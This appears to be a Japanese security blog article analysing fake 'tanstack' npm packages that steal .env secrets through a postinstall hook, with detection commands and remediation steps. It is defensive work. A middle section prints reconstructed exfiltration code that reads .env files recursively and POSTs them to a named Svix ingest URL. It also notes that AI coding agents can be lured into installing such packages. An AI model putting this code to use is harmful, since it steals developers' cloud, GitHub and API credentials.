2026年4月29日 17:08〜17:35 UTCのわずか27分間に、npmレジストリ上で正規の TanStack プロジェクトを偽装した4つの悪性パッケージが連続公開された。Aikido Security と Socket.dev がほぼ同時に検出・報告したこの攻撃は、unscoped の tanstack というパッケージ名を悪用するブランドスクワット型のサプライチェーン攻撃で、npm install 時に postinstall フックが自動的に発火し、.env ファイルを Svix の公開 Ingest URL へ送信する。本記事では確認済みの事実、4バージョンの挙動差、検出と対応の具体的な手順、CI を含む組織として再発を防ぐ運用までを整理する。
この記事ではnpmの偽TanStackパッケージ事件を解説します。OSSサプライチェーン全体のリスク像と防御策の俯瞰はサプライチェーンセキュリティ完全ガイド2026|攻撃手法・防御ツール・実践チェックリストをご覧ください。
事実関係の取り扱いについて
本記事は Aikido Security と Socket.dev の公開分析、および TanStack 作者 Tanner Linsley の公開コメントに基づく。tanstack パッケージの内部動作は両社が静的解析・動的観測した範囲のもので、未公表のバリエーションが存在する可能性がある。攻撃者の身元・動機は本稿執筆時点で確定していない。
この記事のポイント
- 偽パッケージは
tanstack(unscoped)、正規@tanstack/*とは無関係。混同しない - 4バージョン (2.0.4〜2.0.7) が 27分間 で連続公開され、postinstall で
.envを窃取 - 流出先は Svix の公開 Ingest URL(
src_3387PLMB2uhXOBe3Q8sHu)。攻撃者サーバーではなく Webhook SaaS を利用 - 流出対象は AWS鍵、GitHub PAT、npm publish token、DB接続文字列、Stripe/OpenAI/Twilio API キー
- 本稿執筆時点でも npm からの削除は完了しておらず、商標侵害として法的手続きが進行中
- 1度でもインストールしたなら、
.env内のシークレットは漏洩前提で全ローテーションする
27分間で4バージョン公開された偽TanStackパッケージの全体像
公開タイムスタンプは Aikido Security のレポートに記載されており、2026年4月29日 17:08 UTC に最初の [email protected] が、17:35 UTC に最後の [email protected] が公開された。同一作者アカウントによる連続公開で、バージョンごとに少しずつ挙動が異なっている。短時間に複数バージョンを刻む手口は、検出回避と「どのバージョンが最も静かに動くか」を試行する意図が透けて見える。
| バージョン | 公開時刻 (UTC) | 主な挙動 |
|---|---|---|
| 2.0.4 | 17:08 | .env / .env.local を窃取、難読化 + コメントアウトされたデバッグログ |
| 2.0.5 | 17:15 | 2.0.4 に加え README.md と AGENTS.md も窃取対象に追加 |
| 2.0.6 | 17:23 | .env.* を再帰的に glob、ログを完全削除しサイレント動作 |
| 2.0.7 | 17:35 | 2.0.4 構成に戻る(観測範囲の最終バージョン) |
注目すべきは、攻撃者が 2.0.5 で AGENTS.md を狙っている点だ。これは Claude Code、Cursor、Devin など AI コーディングエージェントが参照するメタデータファイルで、API キーや MCP サーバーの設定、社内 URL など二次的に価値のある情報が混入することがある。攻撃者が AI コーディング環境の存在を前提にターゲットを拡張している兆候と言える。
.env / .env.* を再帰探索"] D --> E["JSON にパッケージ"] E -->|"HTTPS POST"| F["Svix 公開 Ingest URL
src_3387PLMB2uhXOBe3Q8sHu"] F --> G["攻撃者の
Webhook 受信先"]
ブランドスクワット――正規 @tanstack/* との違いを整理する
TanStack は React Query / TanStack Router / TanStack Table などで知られる OSS エコシステムで、npm 上では @tanstack/react-query のように scope 付き で公開されている。今回攻撃者が取得したのは @ の付かない unscoped 名 tanstack。npm のスコープ仕様上、@tanstack/* と tanstack は別物として扱われ、誰でも未取得の unscoped 名を登録できる。
| 観点 | 正規 @tanstack/* |
偽 tanstack |
|---|---|---|
| Owner | TanStack 公式 (Tanner Linsley 個人 + 同 org) | 第三者の個人アカウント |
| スコープ | @tanstack/ 付き |
unscoped |
| 公開履歴 | 数年単位、安定リリース | 2026-04-29 に 4 バージョンが連続公開 |
| README | 機能説明とリンク多数 | TanStack Player と称する架空のビデオプレイヤー SDK |
| GitHub リポジトリ | github.com/TanStack/* に対応 | 対応リポジトリなし |
| postinstall | なし | .env 窃取スクリプト |
ブランドスクワットは、新規ユーザーや AI コーディングエージェントが「TanStack の公式パッケージはどれだ?」と検索した際に、unscoped 名を直感的に試してしまう人間的バイアスを突く。pnpm add tanstack をコマンド補完の勢いで実行してしまえば、その瞬間に攻撃が成立する。
postinstall で何が起きるのか――観測されたコードの構造
Aikido Security と Socket.dev の解析によれば、攻撃コードは大筋で次の流れを取る。実際のソースは難読化されているが、振る舞いは静的解析で再構成可能なレベルに留まる。下記は両社の記述から再構成した擬似コードであり、文字どおりのコピーではない。
// 偽 tanstack パッケージの postinstall ハンドラ(再構成)
const fs = require('node:fs');
const path = require('node:path');
const https = require('node:https');
function collectEnvFiles(rootDir, depth = 0) {
const out = {};
if (depth > 6) return out; // バージョン2.0.6で再帰深さ拡張
for (const entry of fs.readdirSync(rootDir, { withFileTypes: true })) {
const p = path.join(rootDir, entry.name);
if (entry.isDirectory() && !entry.name.startsWith('.git')) {
Object.assign(out, collectEnvFiles(p, depth + 1));
} else if (/^\.env(\..*)?$/.test(entry.name)) {
try { out[p] = fs.readFileSync(p, 'utf-8'); } catch {}
}
}
return out;
}
function exfiltrate(payload) {
const data = JSON.stringify(payload);
const req = https.request({
hostname: 'api.svix.com',
path: '/api/v1/app/src_3387PLMB2uhXOBe3Q8sHu/msg/',
method: 'POST',
headers: { 'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(data) },
});
req.write(data); req.end();
}
exfiltrate({
cwd: process.cwd(),
user: process.env.USER || process.env.USERNAME,
envs: collectEnvFiles(process.cwd()),
});
設計上のポイントは以下の3つ。
- 送信先が Svix の公開 Ingest URL: 攻撃者は自前のサーバーを立てず、Webhook SaaS の Public Ingest 機能を利用している。これにより IP ブロックでの遮断が困難になり、企業プロキシのドメインホワイトリストにも引っかかりにくい。
- 再帰的な
.env.*glob (2.0.6): モノレポの最上位だけでなくサブディレクトリ配下の.env.productionや.env.stagingまで吸い上げる構造。 - 完全サイレント動作 (2.0.6): 標準出力に何も書かないため、
npm installのログ上は通常のインストールと区別がつかない。
流出対象は何か――AWS、GitHub PAT、API キー全般
.env の内容次第だが、典型的な Web アプリ/AI アプリのリポジトリでは次のような秘密情報が混入している。攻撃者は受信した JSON を後段で解析するだけでよい。
| カテゴリ | 代表的なキー名 | 悪用される影響 |
|---|---|---|
| クラウド | AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY |
EC2 起動、S3 取り出し、IAM 権限の昇格試行 |
| Git ホスティング | GITHUB_TOKEN / GH_PAT / GITLAB_TOKEN |
private リポ取得、release 改ざん、Actions 経由の二次攻撃 |
| パッケージレジストリ | NPM_TOKEN |
npm publish の乗っ取り、依存ライブラリの汚染 |
| データベース | DATABASE_URL / POSTGRES_PASSWORD |
本番 DB への直接接続、データ抜き取り |
| 課金・通信 | STRIPE_SECRET_KEY / TWILIO_AUTH_TOKEN |
不正課金、SMS 経由のフィッシング配信 |
| AI API | OPENAI_API_KEY / ANTHROPIC_API_KEY |
課金枠の消費、モデルアクセスの横流し |
| OAuth | GOOGLE_CLIENT_SECRET / SLACK_SIGNING_SECRET |
OAuth 連携の奪取、Bot 経由の横展開 |
特に深刻なのは NPM_TOKEN と GITHUB_TOKEN の組み合わせ。これらが盗まれれば、攻撃者は被害を受けたパッケージを起点にさらに多くのライブラリへの侵入経路を作れる。2026年に入って多発しているnpm経由の連鎖型サプライチェーン攻撃と同型のリスクが発生する。
自分のプロジェクトに tanstack が混入していないか確認する
@tanstack/* ではなく unscoped の tanstack が含まれていないかを優先的に確認する。検査は package-lock やロックファイル、node_modules の3点をチェックする。
# 1. npm の場合(lockfile)
grep -E '"tanstack"\s*:|"node_modules/tanstack"' package-lock.json
# 2. pnpm の場合(lockfile)
grep -E "/tanstack@2\.0\.[4-7]" pnpm-lock.yaml
# 3. yarn (v1) の場合
grep -A1 '^tanstack@' yarn.lock
# 4. インストール済みパッケージ(npm/pnpm共通)
npm ls tanstack 2>/dev/null
pnpm why tanstack 2>/dev/null
CI ログを保管している場合は、過去の npm install 出力に [email protected]〜2.0.7 の文字列が残っていないかも確認する。CI ランナーは Ephemeral だが、保存されている artifact のログには痕跡が残ることが多い。
# GitHub Actions のログ取得(tanstack 出現を grep)
gh run list --limit 30 --json databaseId,workflowName -q '.[].databaseId' \
| xargs -I{} sh -c 'gh run view {} --log 2>/dev/null \
| grep -E "tanstack@2\.0\.[4-7]" && echo "RUN={}"'
インストールしてしまった場合の対応手順――ローテーションを最優先
「.env をインストール時のディレクトリに置いていた」かつ「tanstack が一度でも install された」が両方成立する場合は、漏洩前提で動く。Svix の Ingest URL は実質的に「攻撃者の Webhook 受信箱」として動いており、配送が完了している前提で対応する。
- シークレットの全件ローテーション:
.envに書かれているすべてのキーを再発行する。AWS/GCP/Azure の IAM ロール、GitHub PAT、npm token、DB の接続パスワード、Stripe・OpenAI・Anthropic のキー、OAuth クライアントシークレット。 - CI 側のシークレットも同時にローテーション: GitHub Actions / GitLab CI / CircleCI に登録した同名のシークレットも同時に更新。CI で
tanstackがインストールされた可能性があるなら、.env経由でない秘密もローテーション対象に含める。 - クラウドアカウントの異常検知: AWS CloudTrail、GCP Audit Logs、Azure Monitor で過去 1 週間の API コールを確認。普段使わないリージョンや時間帯のアクティビティ、
AssumeRoleやCreateAccessKeyのような権限拡大操作に注目する。 - GitHub の Audit Log と Tokens を確認: 個人/組織の Settings → Security log で見覚えのない PAT 利用がないかを確認。
gh auth statusで現在のトークンを確認し、不要なものは revoke。 - node_modules と lockfile のクリーンアップ:
rm -rf node_modulesと lockfile の修正。修正後はnpm ciではなくnpm installで fresh に引き直す。lockfile に汚染エントリが残っているとnpm ciが再度それを取得する。
# AWS で疑わしい IAM 動作を抽出(直近24時間)
aws cloudtrail lookup-events \
--start-time "$(date -u -v-1d +%Y-%m-%dT%H:%M:%SZ)" \
--query 'Events[?EventName==`CreateAccessKey` || EventName==`AttachUserPolicy`]' \
--output json
サプライチェーン全体への波及を抑える観点では、依存関係ボットの設定見直しも有効だ。具体的な冷却期間(minimumReleaseAge)の入れ方は、関連事例の整理としてRenovate・Dependabotの自動PRがマルウェアを運ぶ:開発者が今すぐ確認すべきことが詳しい。今回の tanstack も「公開直後の汚染ウィンドウ」を突かれた典型例なので、3日程度の冷却期間で大半は弾ける。
再発防止策――postinstall を全面禁止する選択肢
postinstall は便利な反面、依存関係の「任意コード実行ベクタ」として最も悪用される機能である。今回の tanstack も .env 窃取の中核は postinstall 1 つで完結している。組織として強い対策を取るなら、まず postinstall を切ってから例外的に許可する運用に倒すのが合理的だ。
# プロジェクトルートで postinstall を全面無効化
npm config set ignore-scripts true --location=project
# .npmrc に永続化
echo "ignore-scripts=true" >> .npmrc
# pnpm の場合
echo "side-effects-cache=false" >> .npmrc
echo "enable-pre-post-scripts=false" >> .npmrc
正規パッケージにも postinstall を必要とするものはあるため、ignore-scripts を有効にすると一部のネイティブビルド(node-gyp 系)が動かなくなる。例外として明示的に許可するパッケージは、以下のように package.json の scripts でラップする運用が現実的だ。
{
"scripts": {
"preinstall": "node ./scripts/check-allowed-postinstall.js",
"rebuild-natives": "npm rebuild --if-present sharp better-sqlite3"
}
}
scripts/check-allowed-postinstall.js は許可リストに無い依存が postinstall を持っている場合に install を中断する。Socket / Aikido / Snyk のようなサプライチェーン監視 SaaS を CI に挟むと、未知パッケージに postinstall が含まれた瞬間に CI が落ちる構成にできる。
CI/CD のセキュリティ基盤を整える順序は、関連する GitHub Actionsセキュリティ完全ガイド2026 で体系的に扱っている。CI 側で OIDC を使って短命トークンに移行しておけば、.env 経由でクラウドのフルアクセス鍵が流出するリスク自体を構造的に下げられる。
なぜ npm から削除されないのか――商標侵害との法的攻防
TanStack 作者 Tanner Linsley は今回の事件について公開ポストで状況を説明している。論点を整理すると以下のとおり。
- 攻撃者と思われる maintainer は以前、TanStack の正規 org に追加してもらうことと引き換えに $10,000 を要求 していた。
- 要求が拒否された後、unscoped の
tanstack名を取得して偽パッケージを公開する手口に転じた。 - TanStack 側は npm に対し商標侵害として削除要請を出したが、npm 公式は受理していない。
- 結果として現在は法的手続きを通じて取り下げを進めている段階で、技術的な削除には至っていない。
この経緯は、npm レジストリ運営側の商標保護プロセスが個別 OSS プロジェクトの被害に対して必ずしも迅速に動かない現実を示している。プロジェクト側ができる現実解は「正規パッケージ名を README と公式サイトで強調する」「ブランドスクワット可能な unscoped 名を予防的に取得する」「コミュニティに向けて即座に警告を出す」の 3 点で、npm の動きを待たずに被害を抑える運用に切り替えるしかない。
過去にも Aikido Security と Socket.dev はGlassWorm|不可視文字でマルウエア混入するGitHub・npmサプライチェーン攻撃の全容【2026年最新】のような事案を相次いで検出している。両社のフィードを定期購読し、検出されたパッケージ名を CI のブロックリストに即時反映する運用は、もはや「あれば便利」ではなく「無いと毎回後手」になる。
AI コーディングエージェント時代に増える「名前で釣る」攻撃
今回の事件で特に重要なのは、攻撃者が AGENTS.md を窃取対象に追加した 2.0.5 の挙動だ。Claude Code・Cursor・Devin といった AI コーディングエージェントは、リポジトリの AGENTS.md や CLAUDE.md を作業のヒントとして読み込み、必要に応じてパッケージのインストールを自律的に行う。
仮にエージェントが「TanStack を使ってビデオプレイヤー SDK を組んで」と指示された場合、ユーザーが @tanstack/ という scope を明示しなければ、エージェントは検索結果や README の見栄えで tanstack を試す可能性がある。命名類似度に依存した「名前で釣る」攻撃は、エージェント時代にむしろ加速する。
エージェント運用側で取れる対策は次の3つ。
- 依存追加コマンドのスコープ強制: エージェントには「必ず
@<scope>/付きで指定する」よう CLAUDE.md / AGENTS.md でルール化する。 - postinstall の事前確認: 新規依存のインストール直前に
npm view <pkg> scripts.postinstallを必須化し、空でない場合は人間に承認を求める。 - CI の二段階インストール: エージェント環境では
--ignore-scriptsで先にインストールし、別ジョブで信頼済みパッケージのみ scripts を実行する。
エージェントは「速さ」と「自律性」がメリットだが、その自律性は「検証されていない依存を引き込むリスク」とトレードオフだ。ガードレールを CI と CLAUDE.md の両側に置くことで、攻撃者が用意した名前トラップに引っかからない環境にできる。
影響範囲を見極めるための観測ポイント
最後に、本件の影響を組織として継続的に観測するためのチェックポイントをまとめる。
- lockfile の継続スキャン: 全リポジトリの package-lock.json / pnpm-lock.yaml / yarn.lock を grep で
^tanstack@または"tanstack":の出現有無を毎日チェックする。 - Svix の Ingest URL アクセスログ: 企業プロキシで
api.svix.comへの外向き通信を集計。src_3387PLMB2uhXOBe3Q8sHuを含む URL は今回の攻撃由来と特定可能。 - AWS / GCP / Azure の鍵棚卸し: 期間中に
.envに書かれていた鍵をリスト化し、ローテーション完了をチケットで追う。漏れがちな「テスト用」「個人開発用」の鍵まで含める。 - GitHub の Personal Access Token: 全ユーザーに対し
gh auth statusの結果を提出させ、有効な classic PAT を fine-grained に置き換える。 - Aikido / Socket / Snyk のフィード購読: 同手口の派生(別の有名 OSS の unscoped 名を狙うパッケージ)が後追いで出てくる可能性が高いため、フィードを Slack 連携しておく。
# 全リポジトリ横断の lockfile スキャン例
find . -type f \( -name 'package-lock.json' -o -name 'pnpm-lock.yaml' \
-o -name 'yarn.lock' \) -not -path '*/node_modules/*' \
-exec grep -lE '(^|/)tanstack(@|"\s*:)' {} +
事象としては27分間の小さなウィンドウで起きた事件だが、Webhook SaaS を踏み台にする exfiltration、AI エージェントが参照するメタデータの窃取、商標侵害申立に動かない npm 運営という3つの構造的リスクが交差した点で、2026年型のサプライチェーン攻撃の典型例である。インシデント対応のチェックリスト化と、postinstall を「デフォルト無効」に倒す思想転換を、いまのうちに進めておきたい。